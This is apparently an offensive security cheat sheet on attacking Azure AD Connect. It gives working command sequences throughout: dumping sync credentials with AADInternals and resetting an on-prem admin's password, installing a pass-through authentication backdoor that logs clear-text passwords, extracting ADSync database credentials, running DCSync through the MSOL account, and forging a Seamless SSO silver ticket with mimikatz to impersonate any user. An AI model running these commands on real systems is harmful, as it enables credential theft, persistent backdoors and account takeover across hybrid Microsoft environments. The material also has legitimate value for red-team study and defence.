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Azure AD - AD Connect and Cloud Sync

Active Directory Azure AD
LDAP REST API'S
NTLM/Kerberos OAuth/SAML/OpenID
Structured directory (OU tree) Flat structure
GPO No GPO's
Super fine-tuned access controls Predefined roles
Domain/forest Tenant
Trusts Guests

Check if Azure AD Connect is installed : Get-ADSyncConnector

  • For PHS, we can extract the credentials
    • Passwords from on-premise AD are sent to the cloud
    • Use replication via a service account created by AD Connect
  • For PTA, we can attack the agent
    • Possible to perform DLL injection into the PTA agent and intercept authentication requests: credentials in clear-text
  • For Federation, connect Windows Server AD to Azure AD using Federation Server (ADFS)
    • Dir-Sync : Handled by on-premise Windows Server AD, sync username/password
    • extract the certificate from ADFS server using DA

Password Hash Synchronization

Get token for SYNC_* account and reset on-prem admin password

PS > Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1
PS > Get-AADIntSyncCredentials

PS > $passwd = ConvertToSecureString 'password' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential ("<Username>@<TenantName>.onmicrosoft.com", $passwd)
PS > GetAADIntAccessTokenForAADGraph -Credentials $creds –SaveToCache

PS > Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | select ImmutableId
PS > Set-AADIntUserPassword -SourceAnchor "<IMMUTABLE-ID>" -Password "Password" -Verbose

Pass-Through Authentication

  1. Check if PTA is installed : Get-Command -Module PassthroughAuthPSModule
  2. Install a PTA Backdoor 
    PS AADInternals> Install-AADIntPTASpy
PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords

Federation

AD Connect - Credentials

Tool Requires code execution on target DLL dependencies Requires MSSQL locally Requires python locally
ADSyncDecrypt Yes Yes No No
ADSyncGather Yes No No Yes
ADSyncQuery No (network RPC calls only) No Yes Yes
  • ADSyncDecrypt: Decrypts the credentials fully on the target host. Requires the AD Connect DLLs to be in the PATH. A similar version in PowerShell was released by Adam Chester on his blog.
  • ADSyncGather: Queries the credentials and the encryption keys on the target host, decryption is done locally (python). No DLL dependencies.
  • ADSyncQuery: Queries the credentials from the database that is saved locally. Requires MSSQL LocalDB to be installed. No DLL dependencies. Is called from adconnectdump.py, dumps data without executing anything on the Azure AD connect host.

Credentials in ADSync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

AD Connect - DCSync with MSOL Account

You can perform DCSync attack using the MSOL account.

Requirements: * Compromise a server with Azure AD Connect service * Access to ADSyncAdmins or local Administrators groups

Use the script azuread_decrypt_msol.ps1 from @xpn to recover the decrypted password for the MSOL account: * azuread_decrypt_msol.ps1: AD Connect Sync Credential Extract POC https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545 * azuread_decrypt_msol_v2.ps1: Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c

Now you can use the retrieved credentials for the MSOL Account to launch a DCSync attack.

AD Connect - Seamless Single Sign On Silver Ticket

Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA)

Seamless SSO is supported by both PHS and PTA. If seamless SSO is enabled, a computer account AZUREADSSOC is created in the on-prem AD.

⚠ The password of the AZUREADSSOACC account never changes.

Using https://autologon.microsoftazuread-sso.com/ to convert Kerberos tickets to SAML and JWT for Office 365 & Azure

  1. NTLM password hash of the AZUREADSSOACC account, e.g. f9969e088b2c13d93833d0ce436c76dd. 
    mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
  2. AAD logon name of the user we want to impersonate, e.g. elrond@contoso.com. This is typically either his userPrincipalName or mail attribute from the on-prem AD.
  3. SID of the user we want to impersonate, e.g. S-1-5-21-2121516926-2695913149-3163778339-1234.
  4. Create the Silver Ticket and inject it into Kerberos cache: 
    mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
  5. Launch Mozilla Firefox
  6. Go to about:config and set the network.negotiate-auth.trusted-uris preference to value https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com
  7. Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty.

References